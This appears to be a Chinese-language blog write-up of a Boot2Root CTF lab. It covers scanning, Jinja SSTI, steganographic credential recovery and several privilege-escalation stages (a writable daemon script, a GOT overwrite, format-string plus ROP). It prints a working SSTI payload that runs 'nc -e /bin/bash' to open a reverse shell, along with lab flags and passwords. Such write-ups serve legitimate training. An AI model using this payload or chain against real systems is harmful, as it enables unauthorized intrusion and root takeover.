官网:http://securitytech.cc/
Terrier Cyber Quest 2025 — 简要 Write-up
一次简短但完整的 Boot2Root CTF 解题过程(Cyber Quest 2025 期间举办)。
初始访问
运行 nmap 扫描 ——
sudo nmap -sC 192.168.57.24 -A -v -p-

我们发现 5000 端口 上运行着一个 web 服务器 ——

然后使用 ffuf 对目录和接口进行模糊测试:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.57.24:5000/FUZZ -fs 3806

找到一个页面并测试 SSTI,确认存在。

进一步输入 payload 验证:

利用 payload 获取初始 shell:
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('nc -e /bin/bash IP PORT').read()}}
得到第一个 Flag ——
FLAG -> S3Cur1ty_Br3@k_P@55ed

在根目录下发现可疑目录,里面有一份 note ——

提示指向了一个 pcapng 文件。使用 Wireshark 查看 ICMP 数据:

解码后得到:
22gSOqdlldjDbbIxZ4NPAeodlIvKmMGjj3ZTw9D5fXc1ffsERpc7CznmEVd1BhfbqbQaIJ5s4
用 CyberChef 解码得到密码:
Pass:H1dden_W0rlD_UnD3r_Bit

我们还提取出一个 Container.png 文件 ——

使用 OpenStego 从 PNG 中提取凭据:
F!ow3r#92@tY8&Vk

另外,/etc/passwd 中有多个用户 ——

权限提升 — 阶段 1
利用花的账号 flower ssh 登录 ——

在 /handler 目录发现权限不一样的内容:

发现 daemon.py 进程在以 leaf 用户运行,且会从 /handler/handler.py 拷贝到 /tmp/ 并执行。
我们有写权限,因此直接修改 handler.py 写入反弹 shell 代码。
运行 nc -nvlp 8080 触发后获得 leaf 用户 shell。

拿到第三个 Flag ——
FLAG -> Y0u_kn0w_i5_th15_RaC3

权限提升 — 阶段 2
在 /bin/ 发现一个带 SUID 的 challenge 可执行文件 ——

反编译发现是 ret2win 类型的漏洞。

用户名是 john,密码检查函数也能被绕过。
通过覆盖 exit@got 为 win() 地址,成功以 stem 用户运行。


Flag ——
FLAG -> PwN_2_0wN_N0w_Y0u_ar3_5t3M

权限提升 — 阶段 3
最后发现另一个带 SUID 的二进制 final ——

存在 格式化字符串漏洞,可泄露 libc 地址、stack canary、main 地址。

还存在 栈溢出,可结合 ROP 调用 libc 函数。

最终通过 ROP 调用 setuid(0) + system("/bin/sh") 拿到 root。

运行 final_pwn.py 脚本后成功 ——
Flag:D4Y_0_T0_zeR0_d4Y
